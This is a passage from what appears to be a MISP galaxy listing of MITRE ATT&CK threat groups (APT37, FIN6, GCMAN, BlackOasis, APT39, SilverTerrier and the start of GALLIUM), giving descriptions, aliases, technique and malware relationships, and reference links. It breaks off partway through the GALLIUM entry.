- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5080. Table References

Links
http://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://attack.mitre.org/groups/G0035

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions
https://www.dragos.com/threat/dymalloy/
https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical
https://www.mandiant.com/resources/ukraine-crisis-cyber-threats
https://www.secureworks.com/research/mcmd-malware-analysis
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

APT37 - G0067

[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="APT37 - G0067"*

APT37 - G0067 is also known as:

- APT37
- Richochet Chollima
- InkySquid
- ScarCruft
- Reaper

- Group123
- TEMP.Reaper

View relationships graph

APT37 - G0067 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KARAE - S0215" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="NavRAT - S0247" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POORAIM - S0216" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ROKRAT - S0240" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLUELIGHT - S0657" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Final1stspy - S0355" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5081. Table References

Links
https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/
https://attack.mitre.org/groups/G0067
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://securelist.com/operation-daybreak/75100/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

FIN6 - G0037

[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN6 - G0037"*

FIN6 - G0037 is also known as:

- FIN6
- Magecart Group 6
- SKELETON SPIDER

- ITG08

View relationships graph

FIN6 - G0037 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FrameworkPOS - S0503" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LockerGoga - S0372" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ryuk - S0446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="GrimAgent - S0632" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Maze - S0449" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5082. Table References

Links
https://attack.mitre.org/groups/G0037
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf

GCMAN - G0036

[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)

The tag is: *misp-galaxy:mitre-intrusion-set="GCMAN - G0036"*

GCMAN - G0036 is also known as:

- GCMAN

View relationships graph

GCMAN - G0036 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"

Table 5083. Table References

Links
https://attack.mitre.org/groups/G0036
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

BlackOasis - G0063

[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="BlackOasis - G0063"*

BlackOasis - G0063 is also known as:

- BlackOasis

View relationships graph

BlackOasis - G0063 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5084. Table References

Links
https://attack.mitre.org/groups/G0063
https://securelist.com/apt-trends-report-q2-2017/79332/
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

APT39 - G0087

[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="APT39 - G0087"*

APT39 - G0087 is also known as:

- APT39
- REMIX KITTEN
- ITG07
- Chafer

View relationships graph

APT39 - G0087 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cadelspy - S0454" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MechaFlounder - S0459" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Remexi - S0375" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5085. Table References

Links

https://attack.mitre.org/groups/G0087
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://home.treasury.gov/news/press-releases/sm1127
https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf
https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

SilverTerrier - G0083

[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="SilverTerrier - G0083"*

SilverTerrier - G0083 is also known as:

- SilverTerrier

View relationships graph

SilverTerrier - G0083 has relationships with:

- uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Lokibot - S0447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Agent Tesla - S0331" with estimative-language:likelihood-probability="almost-certain"

Table 5086. Table References

Links
https://attack.mitre.org/groups/G0083
https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

GALLIUM - G0093

[GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="GALLIUM - G0093"*

GALLIUM - G0093 is also known as:

- GALLIUM
- Operation Soft Cell

View relationships graph

GALLIUM - G0093 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
